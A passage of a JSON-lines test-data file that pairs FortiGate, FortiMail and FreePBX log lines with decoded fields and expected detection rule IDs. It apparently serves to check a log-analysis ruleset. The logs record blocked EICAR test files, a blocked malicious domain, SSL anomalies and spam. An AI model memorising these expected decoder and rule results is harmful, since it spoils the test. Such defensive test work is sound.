"expected_decoder": "fortigate-firewall-v5", "expected_rule": "81639", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate 5: Blocked URL because a virus was detected."} +{"log": "date=2019-05-13 time=11:45:03 logid=\"0211008192\" type=\"utm\" subtype=\"virus\" eventtype=\"infected\" level=\"warning\" vd=\"vdom1\" eventtime=1557773103767393505 msg=\"File is infected.\" action=\"blocked\" service=\"HTTP\" sessionid=359260 srcip=10.1.100.11 dstip=172.16.200.55 srcport=60446 dstport=80 srcintf=\"port12\" srcintfrole=\"undefined\" dstintf=\"port11\" dstintfrole=\"undefined\" policyid=4 proto=6 direction=\"incoming\" filename=\"eicar.com\" quarskip=\"File-was-not-quarantined.\" virus=\"EICAR_TEST_FILE\" dtype=\"Virus\" ref=\"http://www.fortinet.com/ve?vn=EICAR_TEST_FILE\" virusid=2172 url=\"http://172.16.200.55/virus/eicar.com\" profile=\"g-default\" agent=\"curl/7.47.0\" analyticscksum=\"275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f\" analyticssubmit=\"false\" crscore=50 craction=2 crlevel=\"critical\"", "decoder": "fortigate-firewall-v6", "parent": "", "fields": {"action": "blocked", "agent": "curl/7.47.0", "analyticscksum": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f", "analyticssubmit": "false", "craction": "2", "crlevel": "critical", "crscore": "50", "direction": "incoming", "dstintf": "port11", "dstintfrole": "undefined", "dstip": "172.16.200.55", "dstport": "80", "dtype": "Virus", "eventtime": "1557773103767393505", "eventtype": "infected", "filename": "eicar.com", "ip": "File-was-not-quarantined.", "level": "warning", "logid": "0211008192", "msg": "File is infected.", "policyid": "4", "profile": "g-default", "proto": "6", "quarskip": "File-was-not-quarantined.", "ref": "http://www.fortinet.com/ve?vn=EICAR_TEST_FILE", "service": "HTTP", "sessionid": "359260", "srcintf": "port12", "srcintfrole": "undefined", "srcip": "10.1.100.11", "srcport": "60446", "subtype": "virus", "time": "11:45:03", "type": "utm", "url": "http://172.16.200.55/virus/eicar.com", "vd": "vdom1", "virus": "EICAR_TEST_FILE", "virusid": "2172"}, "field_names": ["action", "agent", "analyticscksum", "analyticssubmit", "craction", "crlevel", "crscore", "direction", "dstintf", "dstintfrole", "dstip", "dstport", "dtype", "eventtime", "eventtype", "filename", "ip", "level", "logid", "msg", "policyid", "profile", "proto", "quarskip", "ref", "service", "sessionid", "srcintf", "srcintfrole", "srcip", "srcport", "subtype", "time", "type", "url", "vd", "virus", "virusid"], "rule": "81639", "level": "6", "expected_decoder": "fortigate-firewall-v6", "expected_rule": "81639", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate 6: Blocked URL because a virus was detected."} +{"log": "2018 Jun 21 00:00:35 XXX->127.0.0.1 date=2018-06-21 time=03:00:35 devname=\"xxx\" devid=\"FG123341414414\" logid=\"111111111\" type=\"utm\" subtype=\"webfilter\" eventtype=\"ftgd_allow\" level=\"notice\" vd=\"xxx\" eventtime=111111111 policyid=111 sessionid=111111111 srcip=127.0.0.1 srcport=11111 srcintf=\"port1\" srcintfrole=\"undefined\" dstip=127.0.0.1 dstport=111 dstintf=\"port111\" dstintfrole=\"undefined\" proto=1 service=\"XXX\" hostname=\"xxxxx.com\" profile=\"xx\" action=\"passthrough\" reqtype=\"direct\" url=\"/xxxxxxxxxxxx\" sentbyte=11 rcvdbyte=111 direction=\"outgoing\" msg=\"URL belongs to an allowed category in policy\" method=\"domain\" cat=50 catdesc=\"Information and Computer Security\"", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"action": "passthrough", "devid": "FG123341414414", "devname": "xxx", "direction": "outgoing", "dstintf": "port111", "dstintfrole": "undefined", "dstip": "127.0.0.1", "dstport": "111", "eventtime": "111111111", "eventtype": "ftgd_allow", "hostname": "xxxxx.com", "level": "notice", "logid": "111111111", "msg": "URL belongs to an allowed category in policy", "policyid": "111", "profile": "xx", "proto": "1", "rcvdbyte": "111", "reqtype": "direct", "sentbyte": "11", "service": "XXX", "sessionid": "111111111", "srcintf": "port1", "srcintfrole": "undefined", "srcip": "127.0.0.1", "srcport": "11111", "subtype": "webfilter", "time": "03:00:35", "type": "utm", "url": "/xxxxxxxxxxxx", "vd": "xxx"}, "field_names": ["action", "devid", "devname", "direction", "dstintf", "dstintfrole", "dstip", "dstport", "eventtime", "eventtype", "hostname", "level", "logid", "msg", "policyid", "profile", "proto", "rcvdbyte", "reqtype", "sentbyte", "service", "sessionid", "srcintf", "srcintfrole", "srcip", "srcport", "subtype", "time", "type", "url", "vd"], "rule": "81640", "level": "1", "expected_decoder": "fortigate-firewall-v5", "expected_rule": "81640", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: URL belongs to an allowed category."} +{"log": "date=2019-05-10 time=09:53:18 logid=\"0108037894\" type=\"event\" subtype=\"ha\" level=\"critical\" vd=\"root\" eventtime=1557507199208575235 logdesc=\"Virtual cluster member joined\" msg=\"Virtual cluster detected member join\" vcluster=1 ha_group=0 sn=\"FG2K5E3916900286\"", "decoder": "fortigate-firewall-v6", "parent": "", "fields": {"eventtime": "1557507199208575235", "level": "critical", "logdesc": "Virtual cluster member joined", "logid": "0108037894", "msg": "Virtual cluster detected member join", "sn": "FG2K5E3916900286", "subtype": "ha", "time": "09:53:18", "type": "event", "vd": "root"}, "field_names": ["eventtime", "level", "logdesc", "logid", "msg", "sn", "subtype", "time", "type", "vd"], "rule": "81642", "level": "3", "expected_decoder": "fortigate-firewall-v6", "expected_rule": "81642", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: Virtual cluster detected member join."} +{"log": "date=2019-05-10 time=15:48:31 logid=\"0105048038\" type=\"event\" subtype=\"wad\" level=\"error\" vd=\"root\" eventtime=1557528511221374615 logdesc=\"SSL Fatal Alert received\" session_id=5f88ddd1 policyid=0 srcip=172.18.70.15 srcport=59880 dstip=91.189.89.223 dstport=443 action=\"receive\" alert=\"2\" desc=\"unknown ca\" msg=\"SSL Alert received\"", "decoder": "fortigate-firewall-v6", "parent": "", "fields": {"action": "receive", "dstip": "91.189.89.223", "dstport": "443", "eventtime": "1557528511221374615", "ip": "172.18.70.15", "level": "error", "logdesc": "SSL Fatal Alert received", "logid": "0105048038", "msg": "SSL Alert received", "policyid": "0", "srcip": "172.18.70.15", "srcport": "59880", "subtype": "wad", "time": "15:48:31", "type": "event", "vd": "root"}, "field_names": ["action", "dstip", "dstport", "eventtime", "ip", "level", "logdesc", "logid", "msg", "policyid", "srcip", "srcport", "subtype", "time", "type", "vd"], "rule": "81643", "level": "7", "expected_decoder": "fortigate-firewall-v6", "expected_rule": "81643", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: SSL fatal alert."} +{"log": "date=2016-06-15 time=11:44:46 devname=Device_Name devid=FGTXXXX9999999999 logid=9999999999 type=utm subtype=webfilter eventtype=urlfilter level=warning vd=\"root\" urlfilteridx=3 urlfilterlist=\"default\" policyid=2 sessionid=1563645 user=\"\" srcip=1.2.3.11 srcport=52414 srcintf=\"internal2\" dstip=1.5.5.92 dstport=443 dstintf=\"wan2\" proto=6 service=HTTPS hostname=\"4-edge-chat.facebook.com\" profile=\"default\" action=blocked reqtype=referral url=\"/p?partition=-2&cb=lz1k&failure=5&sticky_token=274&sticky_pool=atn2c06_chat-proxy\" sentbyte=932 rcvdbyte=0 direction=outgoing msg=\"URL was blocked because it is in the URL filter list\" crscore=30 crlevel=high", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"action": "blocked", "crlevel": "high", "crscore": "30", "devid": "FGTXXXX9999999999", "devname": "Device_Name", "direction": "outgoing", "dstintf": "wan2", "dstip": "1.5.5.92", "dstport": "443", "dstuser": "", "eventtype": "urlfilter", "hostname": "4-edge-chat.facebook.com", "level": "warning", "logid": "9999999999", "msg": "URL was blocked because it is in the URL filter list", "policyid": "2", "profile": "default", "proto": "6", "rcvdbyte": "0", "reqtype": "referral", "sentbyte": "932", "service": "HTTPS", "sessionid": "1563645", "srcintf": "internal2", "srcip": "1.2.3.11", "srcport": "52414", "subtype": "webfilter", "time": "11:44:46", "type": "utm", "url": "/p?partition=-2&cb=lz1k&failure=5&sticky_token=274&sticky_pool=atn2c06_chat-proxy", "urlfilteridx": "3", "urlfilterlist": "default", "vd": "root"}, "field_names": ["action", "crlevel", "crscore", "devid", "devname", "direction", "dstintf", "dstip", "dstport", "dstuser", "eventtype", "hostname", "level", "logid", "msg", "policyid", "profile", "proto", "rcvdbyte", "reqtype", "sentbyte", "service", "sessionid", "srcintf", "srcip", "srcport", "subtype", "time", "type", "url", "urlfilteridx", "urlfilterlist", "vd"], "rule": "81644", "level": "6", "expected_decoder": "fortigate-firewall-v5", "expected_rule": "81644", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate 5: Blocked URL belongs to a denied category in policy."} +{"log": "date=2016-06-15 time=23:57:11 devname=Device_Name devid=FGTXXXX9999999999 logid=9999999999 type=utm subtype=webfilter eventtype=urlfilter level=warning vd=\"root\" urlfilteridx=3 urlfilterlist=\"default\" policyid=8 sessionid=42895 user=\"\" srcip=2.5.8.8 srcport=57629 srcintf=\"internal1\" dstip=13.107.4.50 dstport=80 dstintf=\"wan1\" proto=6 service=HTTP hostname=\"www.download.windowsupdate.com\" profile=\"default\" action=blocked reqtype=direct url=\"/msdownload/update/v3/static/trustedr/en/authrootstl.cab\" sentbyte=217 rcvdbyte=0 direction=outgoing msg=\"URL was blocked because it is in the URL filter list\" crscore=30 crlevel=high", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"action": "blocked", "crlevel": "high", "crscore": "30", "devid": "FGTXXXX9999999999", "devname": "Device_Name", "direction": "outgoing", "dstintf": "wan1", "dstip": "13.107.4.50", "dstport": "80", "dstuser": "", "eventtype": "urlfilter", "hostname": "www.download.windowsupdate.com", "level": "warning", "logid": "9999999999", "msg": "URL was blocked because it is in the URL filter list", "policyid": "8", "profile": "default", "proto": "6", "rcvdbyte": "0", "reqtype": "direct", "sentbyte": "217", "service": "HTTP", "sessionid": "42895", "srcintf": "internal1", "srcip": "2.5.8.8", "srcport": "57629", "subtype": "webfilter", "time": "23:57:11", "type": "utm", "url": "/msdownload/update/v3/static/trustedr/en/authrootstl.cab", "urlfilteridx": "3", "urlfilterlist": "default", "vd": "root"}, "field_names": ["action", "crlevel", "crscore", "devid", "devname", "direction", "dstintf", "dstip", "dstport", "dstuser", "eventtype", "hostname", "level", "logid", "msg", "policyid", "profile", "proto", "rcvdbyte", "reqtype", "sentbyte", "service", "sessionid", "srcintf", "srcip", "srcport", "subtype", "time", "type", "url", "urlfilteridx", "urlfilterlist", "vd"], "rule": "81644", "level": "6", "expected_decoder": "fortigate-firewall-v5", "expected_rule": "81644", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate 5: Blocked URL belongs to a denied category in policy."} +{"log": "date=2019-05-13 time=16:29:45 logid=\"0316013056\" type=\"utm\" subtype=\"webfilter\" eventtype=\"ftgd_blk\" level=\"warning\" vd=\"vdom1\" eventtime=1557790184975119738 policyid=1 sessionid=381780 srcip=10.1.100.11 srcport=44258 srcintf=\"port12\" srcintfrole=\"undefined\" dstip=185.244.31.158 dstport=80 dstintf=\"port11\" dstintfrole=\"undefined\" proto=6 service=\"HTTP\" hostname=\"morrishittu.ddns.net\" profile=\"test-webfilter\" action=\"blocked\" reqtype=\"direct\" url=\"/\" sentbyte=84 rcvdbyte=0 direction=\"outgoing\" msg=\"URL belongs to a denied category in policy\" method=\"domain\" cat=26 catdesc=\"Malicious Websites\" crscore=30 craction=4194304 crlevel=\"high\"", "decoder": "fortigate-firewall-v6", "parent": "", "fields": {"action": "blocked", "cat": "26", "catdesc": "Malicious Websites", "craction": "4194304", "crlevel": "high", "crscore": "30", "direction": "outgoing", "dstintf": "port11", "dstintfrole": "undefined", "dstip": "185.244.31.158", "dstport": "80", "eventtime": "1557790184975119738", "eventtype": "ftgd_blk", "hostname": "morrishittu.ddns.net", "ip": "10.1.100.11", "level": "warning", "logid": "0316013056", "method": "domain", "msg": "URL belongs to a denied category in policy", "policyid": "1", "profile": "test-webfilter", "proto": "6", "qtype": "direct", "rcvdbyte": "0", "reqtype": "direct", "sentbyte": "84", "service": "HTTP", "sessionid": "381780", "srcintf": "port12", "srcintfrole": "undefined", "srcip": "10.1.100.11", "srcport": "44258", "subtype": "webfilter", "time": "16:29:45", "type": "utm", "url": "/", "vd": "vdom1"}, "field_names": ["action", "cat", "catdesc", "craction", "crlevel", "crscore", "direction", "dstintf", "dstintfrole", "dstip", "dstport", "eventtime", "eventtype", "hostname", "ip", "level", "logid", "method", "msg", "policyid", "profile", "proto", "qtype", "rcvdbyte", "reqtype", "sentbyte", "service", "sessionid", "srcintf", "srcintfrole", "srcip", "srcport", "subtype", "time", "type", "url", "vd"], "rule": "81644", "level": "6", "expected_decoder": "fortigate-firewall-v6", "expected_rule": "81644", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate 6: Blocked URL belongs to a denied category in policy."} +{"log": "date=2019-03-28 time=10:44:53 logid=\"1700062002\" type=\"utm\" subtype=\"ssl\" eventtype=\"ssl-anomalies\" level=\"warning\" vd=\"vdom1\" eventtime=1553795092 policyid=1 sessionid=10796 service=\"HTTPS\" srcip=10.1.100.66 srcport=43602 dstip=104.154.89.105 dstport=443 srcintf=\"port2\" srcintfrole=\"undefined\" dstintf=\"port3\" dstintfrole=\"undefined\" proto=6 action=\"blocked\" msg=\"Server certificate blocked\" reason=\"block-cert-invalid\"", "decoder": "fortigate-firewall-v6", "parent": "", "fields": {"action": "blocked", "dstintf": "port3", "dstintfrole": "undefined", "dstip": "104.154.89.105", "dstport": "443", "eventtime": "1553795092", "eventtype": "ssl-anomalies", "ip": "10.1.100.66", "level": "warning", "logid": "1700062002", "msg": "Server certificate blocked", "policyid": "1", "proto": "6", "reason": "block-cert-invalid", "service": "HTTPS", "sessionid": "10796", "srcintf": "port2", "srcintfrole": "undefined", "srcip": "10.1.100.66", "srcport": "43602", "subtype": "ssl", "time": "10:44:53", "type": "utm", "vd": "vdom1"}, "field_names": ["action", "dstintf", "dstintfrole", "dstip", "dstport", "eventtime", "eventtype", "ip", "level", "logid", "msg", "policyid", "proto", "reason", "service", "sessionid", "srcintf", "srcintfrole", "srcip", "srcport", "subtype", "time", "type", "vd"], "rule": "81645", "level": "5", "expected_decoder": "fortigate-firewall-v6", "expected_rule": "81645", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: SSL anomalies. Blocked connection."} +{"log": "date=2019-03-28 time=10:51:17 logid=\"1700062002\" type=\"utm\" subtype=\"ssl\" eventtype=\"ssl-anomalies\" level=\"warning\" vd=\"vdom1\" eventtime=1553795476 policyid=1 sessionid=11110 service=\"HTTPS\" srcip=10.1.100.66 srcport=49076 dstip=172.16.200.99 dstport=443 srcintf=\"port2\" srcintfrole=\"undefined\" dstintf=\"port3\" dstintfrole=\"undefined\" proto=6 action=\"blocked\" msg=\"Server certificate blocked\" reason=\"block-cert-untrusted\"", "decoder": "fortigate-firewall-v6", "parent": "", "fields": {"action": "blocked", "dstintf": "port3", "dstintfrole": "undefined", "dstip": "172.16.200.99", "dstport": "443", "eventtime": "1553795476", "eventtype": "ssl-anomalies", "ip": "10.1.100.66", "level": "warning", "logid": "1700062002", "msg": "Server certificate blocked", "policyid": "1", "proto": "6", "reason": "block-cert-untrusted", "service": "HTTPS", "sessionid": "11110", "srcintf": "port2", "srcintfrole": "undefined", "srcip": "10.1.100.66", "srcport": "49076", "subtype": "ssl", "time": "10:51:17", "type": "utm", "vd": "vdom1"}, "field_names": ["action", "dstintf", "dstintfrole", "dstip", "dstport", "eventtime", "eventtype", "ip", "level", "logid", "msg", "policyid", "proto", "reason", "service", "sessionid", "srcintf", "srcintfrole", "srcip", "srcport", "subtype", "time", "type", "vd"], "rule": "81645", "level": "5", "expected_decoder": "fortigate-firewall-v6", "expected_rule": "81645", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: SSL anomalies. Blocked connection."} +{"log": "date=2019-03-28 time=10:55:43 logid=\"1700062002\" type=\"utm\" subtype=\"ssl\" eventtype=\"ssl-anomalies\" level=\"warning\" vd=\"vdom1\" eventtime=1553795742 policyid=1 sessionid=11334 service=\"HTTPS\" srcip=10.1.100.66 srcport=49082 dstip=172.16.200.99 dstport=443 srcintf=\"port2\" srcintfrole=\"undefined\" dstintf=\"port3\" dstintfrole=\"undefined\" proto=6 action=\"blocked\" msg=\"Server certificate blocked\" reason=\"block-cert-req\"", "decoder": "fortigate-firewall-v6", "parent": "", "fields": {"action": "blocked", "dstintf": "port3", "dstintfrole": "undefined", "dstip": "172.16.200.99", "dstport": "443", "eventtime": "1553795742", "eventtype": "ssl-anomalies", "ip": "10.1.100.66", "level": "warning", "logid": "1700062002", "msg": "Server certificate blocked", "policyid": "1", "proto": "6", "reason": "block-cert-req", "service": "HTTPS", "sessionid": "11334", "srcintf": "port2", "srcintfrole": "undefined", "srcip": "10.1.100.66", "srcport": "49082", "subtype": "ssl", "time": "10:55:43", "type": "utm", "vd": "vdom1"}, "field_names": ["action", "dstintf", "dstintfrole", "dstip", "dstport", "eventtime", "eventtype", "ip", "level", "logid", "msg", "policyid", "proto", "reason", "service", "sessionid", "srcintf", "srcintfrole", "srcip", "srcport", "subtype", "time", "type", "vd"], "rule": "81645", "level": "5", "expected_decoder": "fortigate-firewall-v6", "expected_rule": "81645", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: SSL anomalies. Blocked connection."} +{"log": "date=2019-03-28 time=10:57:42 logid=\"1700062053\" type=\"utm\" subtype=\"ssl\" eventtype=\"ssl-anomalies\" level=\"warning\" vd=\"vdom1\" eventtime=1553795861 policyid=1 sessionid=11424 service=\"SMTPS\" profile=\"block-unsupported-ssl\" srcip=10.1.100.66 srcport=41296 dstip=172.16.200.99 dstport=8080 srcintf=\"port2\" srcintfrole=\"undefined\" dstintf=unknown-0 dstintfrole=\"undefined\" proto=6 action=\"blocked\" msg=\"Connection is blocked due to unsupported SSL traffic\" reason=\"malformed input\"", "decoder": "fortigate-firewall-v6", "parent": "", "fields": {"action": "blocked", "dstintf": "unknown-0", "dstintfrole": "undefined", "dstip": "172.16.200.99", "dstport": "8080", "eventtime": "1553795861", "eventtype": "ssl-anomalies", "ip": "10.1.100.66", "level": "warning", "logid": "1700062053", "msg": "Connection is blocked due to unsupported SSL traffic", "policyid": "1", "profile": "block-unsupported-ssl", "proto": "6", "reason": "malformed input", "service": "SMTPS", "sessionid": "11424", "srcintf": "port2", "srcintfrole": "undefined", "srcip": "10.1.100.66", "srcport": "41296", "subtype": "ssl", "time": "10:57:42", "type": "utm", "vd": "vdom1"}, "field_names": ["action", "dstintf", "dstintfrole", "dstip", "dstport", "eventtime", "eventtype", "ip", "level", "logid", "msg", "policyid", "profile", "proto", "reason", "service", "sessionid", "srcintf", "srcintfrole", "srcip", "srcport", "subtype", "time", "type", "vd"], "rule": "81645", "level": "5", "expected_decoder": "fortigate-firewall-v6", "expected_rule": "81645", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: SSL anomalies. Blocked connection."} +{"log": "date=2019-03-28 time=11:00:17 logid=\"1700062002\" type=\"utm\" subtype=\"ssl\" eventtype=\"ssl-anomalies\" level=\"warning\" vd=\"vdom1\" eventtime=1553796016 policyid=1 sessionid=11554 service=\"HTTPS\" srcip=10.1.100.66 srcport=49088 dstip=172.16.200.99 dstport=443 srcintf=\"port2\" srcintfrole=\"undefined\" dstintf=\"port3\" dstintfrole=\"undefined\" proto=6 action=\"blocked\" msg=\"Server certificate blocked\" reason=\"block-cert-sni-mismatch\"", "decoder": "fortigate-firewall-v6", "parent": "", "fields": {"action": "blocked", "dstintf": "port3", "dstintfrole": "undefined", "dstip": "172.16.200.99", "dstport": "443", "eventtime": "1553796016", "eventtype": "ssl-anomalies", "ip": "10.1.100.66", "level": "warning", "logid": "1700062002", "msg": "Server certificate blocked", "policyid": "1", "proto": "6", "reason": "block-cert-sni-mismatch", "service": "HTTPS", "sessionid": "11554", "srcintf": "port2", "srcintfrole": "undefined", "srcip": "10.1.100.66", "srcport": "49088", "subtype": "ssl", "time": "11:00:17", "type": "utm", "vd": "vdom1"}, "field_names": ["action", "dstintf", "dstintfrole", "dstip", "dstport", "eventtime", "eventtype", "ip", "level", "logid", "msg", "policyid", "proto", "reason", "service", "sessionid", "srcintf", "srcintfrole", "srcip", "srcport", "subtype", "time", "type", "vd"], "rule": "81645", "level": "5", "expected_decoder": "fortigate-firewall-v6", "expected_rule": "81645", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: SSL anomalies. Blocked connection."} +{"log": "date=2019-05-15 time=16:28:17 logid=\"1800063000\" type=\"utm\" subtype=\"cifs\" eventtype=\"cifs-filefilter\" level=\"warning\" vd=\"vdom1\" eventtime=1557962895 msg=\"File was blocked by file filter.\" direction=\"incoming\" action=\"blocked\" service=\"CIFS\" srcip=10.1.100.11 dstip=172.16.200.44 srcport=56348 dstport=445 srcintf=\"port21\" srcintfrole=\"undefined\" dstintf=\"port23\" dstintfrole=\"undefined\" policyid=1 proto=16 profile=\"cifs\" filesize=\"13824\" filename=\"sample\\\\test.xls\" filtername=\"1\" filetype=\"msoffice\"", "decoder": "fortigate-firewall-v6", "parent": "", "fields": {"action": "blocked", "direction": "incoming", "dstintf": "port23", "dstintfrole": "undefined", "dstip": "172.16.200.44", "dstport": "445", "eventtime": "1557962895", "eventtype": "cifs-filefilter", "filename": "sample\\\\test.xls", "filesize": "13824", "filetype": "msoffice", "filtername": "1", "ip": "10.1.100.11", "level": "warning", "logid": "1800063000", "msg": "File was blocked by file filter.", "policyid": "1", "profile": "cifs", "proto": "16", "service": "CIFS", "srcintf": "port21", "srcintfrole": "undefined", "srcip": "10.1.100.11", "srcport": "56348", "subtype": "cifs", "time": "16:28:17", "type": "utm", "vd": "vdom1"}, "field_names": ["action", "direction", "dstintf", "dstintfrole", "dstip", "dstport", "eventtime", "eventtype", "filename", "filesize", "filetype", "filtername", "ip", "level", "logid", "msg", "policyid", "profile", "proto", "service", "srcintf", "srcintfrole", "srcip", "srcport", "subtype", "time", "type", "vd"], "rule": "81646", "level": "5", "expected_decoder": "fortigate-firewall-v6", "expected_rule": "81646", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: File was blocked by file filter."} +{"log": "2021-07-08T13:45:20.966330-03:00 10.132.128.10 date=2021-07-08 time=13:45:21.846 device_id=XXXXXXXX log_id=0200027993 type=statistics pri=information session_id=\"168GjLEk027992-16027992\" client_name=\"\" client_ip=\"11.22.33.44\" client_cc=\"ZZ\" dst_ip=\"12.34.56.78\" from=\"noreply@domain.com\" hfrom=\"noreply@domain.com\" to=\"user@gmail.com\" polid=\"2:2:5:SYSTEM\" domain=\"HHHHHHHH\" mailer=\"mta\" resolved=\"FAIL\" src_type=\"int\" direction=\"out\" virus=\"\" disposition=\"Accept\" classifier=\"Not Spam\" message_length=\"23951\" subject=\"Subject of the message\" message_id=\"896710244.116204.16257.Mail@lnk2489\" recv_time=\"\" notif_delay=\"0\" scan_time=\"0.008128\" xfer_time=\"0.005643\" srcfolder=\"\" read_status=\"\"", "decoder": "fortimail-like", "parent": "", "fields": {"classifier": "Not Spam", "client.cc": "ZZ", "disposition": "Accept", "domain": "HHHHHHHH", "dstip": "12.34.56.78", "from": "noreply@domain.com", "hfrom": "noreply@domain.com", "mailer": "mta", "message.id": "896710244.116204.16257.Mail@lnk2489", "message.length": "23951", "notifdelay": "0", "pri": "information", "resolved": "FAIL", "scantime": "0.008128", "sessionid": "168GjLEk027992-16027992", "srcip": "\"11.22.33.44\"", "srctype": "int", "subject": "Subject of the message", "to": "user@gmail.com", "type": "statistics", "xfertime": "0.005643"}, "field_names": ["classifier", "client.cc", "disposition", "domain", "dstip", "from", "hfrom", "mailer", "message.id", "message.length", "notifdelay", "pri", "resolved", "scantime", "sessionid", "srcip", "srctype", "subject", "to", "type", "xfertime"], "rule": "44641", "level": "0", "expected_decoder": "fortimail-like", "expected_rule": "44641", "rule_matches_expected": true, "ini_file": "fortimail.ini", "section": "FortiMail: Informational message."} +{"log": "date=2012-08-17 time=12:26:41 device_id=FE100C3909600504 log_id=0001001623 type=kevent subtype=admin pri=information user=admin ui=GUI(172.20.120.26) action=login status=success reason=none msg=\"User admin login successfully from GUI (172.20.120.26)\"", "decoder": "fortimail-like", "parent": "", "fields": {"msg": "User admin login successfully from GUI (172.20.120.26)", "pri": "information", "subtype": "admin", "type": "kevent"}, "field_names": ["msg", "pri", "subtype", "type"], "rule": "44649", "level": "3", "expected_decoder": "fortimail-like", "expected_rule": "44649", "rule_matches_expected": true, "ini_file": "fortimail.ini", "section": "FortiMail: An administrator successfully logged in using the web-based manager or CLI."} +{"log": "date=2012-08-09 time=10:30:31 device_id=FE100C3909600504 log_id=0004001036 type=kevent subtype=ha pri=notice user=ha ui=ha action=none status=success msg=\"hahbd: heart beat status changed to primary-hearbeat-port1=FAILED;secondary-hearbeat-port2=OK\"", "decoder": "fortimail-like", "parent": "", "fields": {"msg": "hahbd: heart beat status changed to primary-hearbeat-port1=FAILED;secondary-hearbeat-port2=OK", "pri": "notice", "subtype": "ha", "type": "kevent"}, "field_names": ["msg", "pri", "subtype", "type"], "rule": "44696", "level": "3", "expected_decoder": "fortimail-like", "expected_rule": "44696", "rule_matches_expected": true, "ini_file": "fortimail.ini", "section": "FortiMail: Heartbeat related activities."} +{"log": "date=2012-07-24 time=17:07:42 device_id=FE100C3909600504 log_id=0100000924 type=virus subtype=infected pri=information from=\"syntax@www.ca\" to=\"user2@1.ca\" src=172.20.140.94 session_id=\"q6OL7fsQ018870-q6OL7fsR018870\" msg=\"The file inline-16-69.dat is infected with EICAR_TEST_FILE.\"", "decoder": "fortimail-like", "parent": "", "fields": {"from": "syntax@www.ca", "msg": "The file inline-16-69.dat is infected with EICAR_TEST_FILE.", "pri": "information", "sessionid": "q6OL7fsQ018870-q6OL7fsR018870", "subtype": "infected", "to": "user2@1.ca", "type": "virus"}, "field_names": ["from", "msg", "pri", "sessionid", "subtype", "to", "type"], "rule": "44718", "level": "3", "expected_decoder": "fortimail-like", "expected_rule": "44718", "rule_matches_expected": true, "ini_file": "fortimail.ini", "section": "FortiMail: The file contains the specified virus."} +{"log": "date=2012-07-20 time=14:33:26 device_id=FE100C3909600504 log_id=0300000924 type=spam pri=information session_id=\"q6KIXPZe008097-q6KIXPZf008097\" client_name=\"[172.20.140.94]\" dst_ip=\"172.20.140.92\" endpoint=\"\" from=\"syntax@www.ca\" to=\"user1@1.ca\" subject=\"Email with wd, excel, and rtf test\" msg=\"Detected by BannedWord test\"", "decoder": "fortimail-like", "parent": "", "fields": {"client.name": "[172.20.140.94]", "dstip": "172.20.140.92", "from": "syntax@www.ca", "msg": "Detected by BannedWord test", "pri": "information", "sessionid": "q6KIXPZe008097-q6KIXPZf008097", "subject": "Email with wd, excel, and rtf test", "to": "user1@1.ca", "type": "spam"}, "field_names": ["client.name", "dstip", "from", "msg", "pri", "sessionid", "subject", "to", "type"], "rule": "44719", "level": "3", "expected_decoder": "fortimail-like", "expected_rule": "44719", "rule_matches_expected": true, "ini_file": "fortimail.ini", "section": "FortiMail: SPAM-related events."} +{"log": "date=2012-08-09 time=10:45:27 device_id=FE100C3909600504 log_id=0400005355 type=encrypt pri=information session_id=\"q79EiV8S007017-q79EiV8T0070170001474\" msg=\"User user1@1.ca read secure message, id:'q79EiV8S007017-q79EiV8T0070170001474', sent from: 'user2@2.ca', subject: 'ppt file'\"", "decoder": "fortimail-like", "parent": "", "fields": {"msg": "User user1@1.ca read secure message, id:'q79EiV8S007017-q79EiV8T0070170001474', sent from: 'user2@2.ca', subject: 'ppt file'", "pri": "information", "sessionid": "q79EiV8S007017-q79EiV8T0070170001474", "type": "encrypt"}, "field_names": ["msg", "pri", "sessionid", "type"], "rule": "44720", "level": "3", "expected_decoder": "fortimail-like", "expected_rule": "44720", "rule_matches_expected": true, "ini_file": "fortimail.ini", "section": "FortiMail: FortiMail encrypted or decrypted an email."} +{"log": "[2019-07-25 14:29:19] Asterisk 15.7.3 built by root @ centos-7-31 on a x86_64 running Linux on 2019-07-25 14:15:02 UTC", "decoder": "FreePBX", "parent": "", "fields": {"dstuser": "root", "machinename": "centos-7-31", "os": "Linux", "program": "Asterisk", "since": "2019-07-25 14:15:02 UTC", "timestamp": "2019-07-25 14:29:19", "type": "x86_64", "version": "15.7.3"}, "field_names": ["dstuser", "machinename", "os", "program", "since", "timestamp", "type", "version"], "rule": "70007", "level": "3", "expected_decoder": "FreePBX", "expected_rule": "70007", "rule_matches_expected": true, "ini_file": "freepbx.ini", "section": "Freepbx_1"} +{"log": "[2019-Jul-25 14:28:31] [INFO] (libraries/modulefunctions.class.php:2083) - Generating CSS...Done", "decoder": "FreePBX", "parent": "", "fields": {"msg_type": "INFO", "operation": "Generating CSS...Done", "source": "libraries/modulefunctions.class.php:2083", "timestamp": "2019-Jul-25 14:28:31"}, "field_names": ["msg_type", "operation", "source", "timestamp"], "rule": "70005", "level": "3", "expected_decoder": "FreePBX", "expected_rule": "70005", "rule_matches_expected": true, "ini_file": "freepbx.ini", "section": "Freepbx_2"} +{"log": "May 19 00:22:05 freepbx-a pacemakerd[1310]: notice: crm_add_logfile: Additional logging available in /var/log/cluster/corosync.log", "decoder": "FreePBX", "parent": "", "fields": {"details": "Additional logging available in /var/log/cluster/corosync.log", "msg_type": "notice", "reason": "crm_add_logfile"}, "field_names": ["details", "msg_type", "reason"], "rule": "70008", "level": "3", "expected_decoder": 